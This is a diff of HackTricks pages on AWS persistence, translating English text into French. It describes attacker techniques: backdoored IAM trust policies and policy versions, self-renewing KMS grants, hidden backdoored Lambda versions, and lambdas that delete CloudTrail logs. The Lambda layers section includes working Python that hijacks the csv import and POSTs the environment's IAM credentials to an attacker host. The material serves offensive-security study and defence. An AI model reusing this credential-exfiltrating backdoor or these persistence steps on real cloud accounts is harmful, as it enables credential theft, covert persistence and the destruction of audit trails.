|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,44 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
### Persistence IAM Courante
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
- Créer un utilisateur
|
||||
- Ajouter un utilisateur contrôlé à un groupe privilégié
|
||||
- Créer des clés d'accès (de nouveau utilisateur ou de tous les utilisateurs)
|
||||
- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques en ligne)
|
||||
- Désactiver MFA / Ajouter votre propre appareil MFA
|
||||
- Créer une situation de Chaîne de Rôle Juggling (plus d'informations ci-dessous dans la persistance STS)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
### Politiques de Confiance de Rôle Backdoor
|
||||
|
||||
Vous pourriez backdoor une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Version de la politique de porte dérobée
|
||||
|
||||
### Backdoor Policy Version
|
||||
Donnez des permissions d'administrateur à une politique qui n'est pas sa dernière version (la dernière version doit sembler légitime), puis assignez cette version de la politique à un utilisateur/groupe contrôlé.
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
### Porte dérobée / Créer un fournisseur d'identité
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
Si le compte fait déjà confiance à un fournisseur d'identité commun (comme Github), les conditions de confiance pourraient être augmentées afin que l'attaquant puisse en abuser.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
### Accorder l'accès via les politiques KMS
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donner accès** à une clé à un utilisateur sous son contrôle ou même à un compte externe. Consultez la [**page KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) pour plus d'informations.
|
||||
|
||||
### Eternal Grant
|
||||
### Grant éternel
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
Les grants sont une autre façon de donner à un principal certaines permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
|
||||
|
||||
(Nous utilisons 10 et non 2 pour pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur a encore des grants)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> Un grant peut donner des permissions uniquement à partir de ceci : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,65 +4,61 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer Persistence
|
||||
### Persistance de la couche Lambda
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Extension Persistence
|
||||
### Persistance de l'extension Lambda
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via resource policies
|
||||
### Via les politiques de ressources
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
Il est possible d'accorder l'accès à différentes actions lambda (comme invoquer ou mettre à jour le code) à des comptes externes :
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
### Versions, Alias & Poids
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
|
||||
Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
|
||||
De cette façon, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
### Porte dérobée de version + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
1. Copier le code original de la Lambda
|
||||
2. **Créer une nouvelle version avec porte dérobée** du code original (ou juste avec du code malveillant). Publier et **déployer cette version** sur $LATEST
|
||||
1. Appeler la passerelle API liée à la lambda pour exécuter le code
|
||||
3. **Créer une nouvelle version avec le code original**, Publier et déployer cette **version** sur $LATEST.
|
||||
1. Cela cachera le code avec porte dérobée dans une version précédente
|
||||
4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
|
||||
5. Sélectionnez la méthode POST créée et dans Actions sélectionnez **`Déployer l'API`**
|
||||
6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
|
||||
|
||||
### Cron/Event actuator
|
||||
### Actuator Cron/Event
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
|
||||
Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
|
||||
- Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
|
||||
- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les altérer
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,35 +4,35 @@
|
||||
|
||||
## Lambda Extensions
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Les extensions Lambda améliorent les fonctions en s'intégrant à divers **outils de surveillance, d'observabilité, de sécurité et de gouvernance**. Ces extensions, ajoutées via des [.zip archives utilisant des couches Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluses dans [les déploiements d'images de conteneur](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), fonctionnent en deux modes : **interne** et **externe**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **Les extensions internes** fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme d'exécutions, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
|
||||
- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers environnements d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **environnements d'exécution personnalisés**.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Pour plus d'informations sur [**comment fonctionnent les extensions lambda, consultez la documentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### Extension externe pour la persistance, le vol de requêtes et la modification des requêtes
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
Voici un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même identifiant utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
De plus, bien que les extensions Lambda aient la capacité de **s'abonner aux événements d'invocation**, AWS ne révèle pas les données brutes à ces extensions. Cela garantit que **les extensions ne peuvent pas accéder aux informations sensibles** transmises via la requête HTTP.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Le processus Init (Rapid) surveille toutes les requêtes API à [http://127.0.0.1:9001](http://127.0.0.1:9001/) tandis que les extensions Lambda sont initialisées et s'exécutent avant l'exécution de tout code d'exécution, mais après Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
La variable **`AWS_LAMBDA_RUNTIME_API`** indique l'**adresse IP** et le **numéro de port** de l'API Rapid aux **processus d'exécution enfants** et aux extensions supplémentaires.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> En changeant la variable d'environnement **`AWS_LAMBDA_RUNTIME_API`** à un **`port`** auquel nous avons accès, il est possible d'intercepter toutes les actions au sein de l'exécution Lambda (**man-in-the-middle**). Cela est possible car l'extension s'exécute avec les mêmes privilèges que Rapid Init, et le noyau du système permet la **modification de la mémoire des processus**, permettant l'altération du numéro de port.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) au démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
L'outil [**lambda-spy**](https://github.com/clearvector/lambda-spy) a été créé pour effectuer cette **écriture en mémoire** et **voler des informations sensibles** des requêtes lambda, d'autres **requêtes d'extensions** et même **les modifier**.
|
||||
|
||||
## References
|
||||
|
||||
@@ -40,7 +40,3 @@ The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,82 +1,75 @@
|
||||
# AWS - Lambda Layers Persistence
|
||||
# AWS - Persistence des couches Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Layers
|
||||
## Couches Lambda
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, le **contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
### Chemin de chargement Python
|
||||
|
||||
Le chemin de chargement que Python utilisera dans lambda est le suivant :
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
Vérifiez comment les **deuxième** et troisième **positions** sont occupées par des répertoires où les **lambda layers** décompressent leurs fichiers : **`/opt/python/lib/python3.9/site-packages`** et **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui sera **exécutant du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.
|
||||
|
||||
Therefore, the requisites are:
|
||||
Par conséquent, les exigences sont :
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
- **Vérifier les bibliothèques** qui sont **chargées** par le code des victimes
|
||||
- Créer une **bibliothèque proxy avec des lambda layers** qui va **exécuter du code personnalisé** et **charger la bibliothèque originale**.
|
||||
|
||||
### Preloaded libraries
|
||||
### Bibliothèques préchargées
|
||||
|
||||
> [!WARNING]
|
||||
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
> En abusant de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
|
||||
> Afin d'abuser de cette technique de persistance, le code doit **charger une nouvelle bibliothèque qui n'est pas chargée** lorsque le code est exécuté.
|
||||
|
||||
Avec un code python comme celui-ci, il est possible d'obtenir la **liste des bibliothèques qui sont préchargées** dans l'environnement d'exécution python dans lambda :
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
Et voici la **liste** (vérifiez que des bibliothèques comme `os` ou `json` sont déjà présentes)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
Et voici la liste des **bibliothèques** que **lambda inclut installées par défaut** : [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
### Backdooring de la couche Lambda
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
Dans cet exemple, supposons que le code ciblé importe **`csv`**. Nous allons **backdoor l'importation de la bibliothèque `csv`**.
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
Pour ce faire, nous allons **créer le répertoire csv** avec le fichier **`__init__.py`** à l'intérieur dans un chemin chargé par lambda : **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Ensuite, lorsque la lambda est exécutée et essaie de charger **csv**, notre **fichier `__init__.py` sera chargé et exécuté**.\
|
||||
Ce fichier doit :
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
- Exécuter notre payload
|
||||
- Charger la bibliothèque csv originale
|
||||
|
||||
Nous pouvons faire les deux avec :
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
@@ -90,29 +83,27 @@ import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
Ensuite, créez un zip avec ce code dans le chemin **`python/lib/python3.9/site-packages/__init__.py`** et ajoutez-le en tant que couche lambda.
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
Vous pouvez trouver ce code sur [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
Le payload intégré **enverra les identifiants IAM à un serveur LA PREMIÈRE FOIS qu'il est invoqué ou APRÈS une réinitialisation du conteneur lambda** (changement de code ou lambda froide), mais **d'autres techniques** telles que les suivantes pourraient également être intégrées :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### External Layers
|
||||
### Couches Externes
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
Notez qu'il est possible d'utiliser **des couches lambda provenant de comptes externes**. De plus, une lambda peut utiliser une couche d'un compte externe même si elle n'a pas les autorisations.\
|
||||
Notez également que le **nombre maximum de couches qu'une lambda peut avoir est de 5**.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
- Backdoor an existing layer of the user (nothing is external)
|
||||
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
- The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
Par conséquent, afin d'améliorer la polyvalence de cette technique, un attaquant pourrait :
|
||||
|
||||
- Backdoor une couche existante de l'utilisateur (rien n'est externe)
|
||||
